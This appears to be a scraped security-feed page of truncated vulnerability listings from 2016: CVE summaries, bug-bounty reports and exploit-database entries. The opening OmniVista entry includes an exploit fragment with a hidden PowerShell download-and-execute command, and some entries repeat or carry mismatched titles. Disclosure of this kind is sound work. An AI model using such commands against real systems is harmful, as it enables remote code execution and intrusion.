Alcatel Lucent Omnivista 8770 Remote Code Execution

import socket import time import sys import os ref https://blog.malerisch.net/ Omnivista Alcatel-Lucent running on Windows Server if lensys.argv " % sys.argv0 print "eg: %s 192.168.1.246 "powershell.exe -nop -w hidden -c $g=new-object net.webclient;IEX...

CVE-2016-9796

Alcatel-Lucent OmniVista 8770 2.0 through 3.0 exposes different ORBs interfaces, which can be queried using the GIOP protocol on TCP port 30024. An attacker can bypass authentication, and OmniVista invokes methods AddJobSet, AddJob, and ExecuteNow that can be used to run arbitrary commands on the...

U.S. Dept Of Defense: Unrestricted File Upload

A Navy system had a file upload tool accessible from the Internet. This would have permitted an attacker to upload malicious files and potentially execute code on the server. Thanks to @hogarth45 for reporting it...

Easy File Sharing FTP Server 3.6 stack buffer overflow Exploit

Exploit for windows platform in category remote exploits !/usr/bin/env python Exploit Title: Easy File Sharing FTP Server 3.6 stack buffer overflow Date: 11.11.2016 Exploit Author: ACHILLES Vendor Homepage: http://www.efssoft.com Software Link: http://www.efssoft.com/ftpserver.htm Version: 3.6...

MS16-136: Description of the security update for SQL Server 2014 Service Pack 2 GDR: November 8, 2016

None None...

OpenJDK: exposure of server authentication credentials to proxy (Networking, 8160838)

A flaw was found in the way the Networking component of OpenJDK handled HTTP proxy authentication. A Java application could possibly expose HTTPS server authentication credentials via a plain text network connection to an HTTP proxy if proxy asked for authentication...

CVE-2016-4025

Avast Internet Security v11.x.x, Pro Antivirus v11.x.x, Premier v11.x.x, Free Antivirus v11.x.x, Business Security v11.x.x, Endpoint Protection v8.x.x, Endpoint Protection Plus v8.x.x, Endpoint Protection Suite v8.x.x, Endpoint Protection Suite Plus v8.x.x, File Server Security v8.x.x, and Email...

Spark 2.5 Arbitrary File Read

Hey folks, Spark sparkjava.com is a mildly hyped Java micro web framework that also provides functionality to serve static files. Unfortunately, there's no protection against directory traversal attacks and I haven't been able to contact anyone related to the project after trying 4 people over 2...

CVE-2016-8286

Unspecified vulnerability in Oracle MySQL 5.7.14 and earlier allows remote authenticated users to affect confidentiality via vectors related to Server: Security: Privileges...

CVE-2016-5635

Unspecified vulnerability in Oracle MySQL 5.7.13 and earlier allows remote administrators to affect availability via vectors related to Server: Security: Audit...

Design/Logic Flaw

Unspecified vulnerability in Oracle MySQL 5.7.14 and earlier allows remote authenticated users to affect confidentiality via vectors related to Server: Security: Privileges...

CVE-2016-5635

Unspecified vulnerability in Oracle MySQL 5.7.13 and earlier allows remote administrators to affect availability via vectors related to Server: Security: Audit...

CVE-2016-8286

Unspecified vulnerability in Oracle MySQL 5.7.14 and earlier allows remote authenticated users to affect confidentiality via vectors related to Server: Security: Privileges...

Mindoktor: Storing sensitive information on cookie post-registration

Hello, I've noticed that upon registering the server sets a cookie named clinicclinic.PENTESTFLASH. In it, it stores all the information the user used to register. Sample request: POST /user/register HTTP/1.1 Host: clinic.pentest.mindoktor.io User-Agent: Mozilla/5.0 Macintosh; Intel Mac OS X 10.1...

Unspecified Vulnerability in Oracle Database Server RDBMS Security Component (CNVD-2016-09696)

Oracle Database Server is a set of relational database management system of Oracle Oracle. The database management system provides data management, distributed processing, etc. RDBMS Security is one of the database security storage component. A local security vulnerability exists in the RDBMS...

CVE-2016-8286

Unspecified vulnerability in Oracle MySQL 5.7.14 and earlier allows remote authenticated users to affect confidentiality via vectors related to Server: Security: Privileges...

UBUNTU-CVE-2016-5584

Unspecified vulnerability in Oracle MySQL 5.5.52 and earlier, 5.6.33 and earlier, and 5.7.15 and earlier allows remote administrators to affect confidentiality via vectors related to Server: Security: Encryption...

Apache Tomcat JK ISAPI Connector Buffer Overflow Vulnerability

Apache Tomcat JK ISAPI Connector is a module for Apache or IIS to connect to the backend Tomcat , which supports clustering and load balancing and so on. A buffer overflow vulnerability exists in Apache Tomcat JK ISAPI Connector, which allows remote attackers to send specially crafted URIs to the...

Bumble: No rate-limit in SERVER_SECURITY_CHECK

Hi, When you login in another Ip address Badoo will ask to confirm mobile number to authenticate. The problem is that there is no limit of tries. This make this feature useless since it can be brute forced. In the video you can see at request 56 we found the right number which lead to...

CVE-2016-0870

CVE-2016-0870 affects Trane Tracer SC web server (versions 4.2.1134 and earlier). A remote attacker can read sensitive configuration files via a direct request, exposing information from specific directories. NVD assigns CVSSv3 base score 5.3 (Network, Low complexity, No privileges, Confidentiali...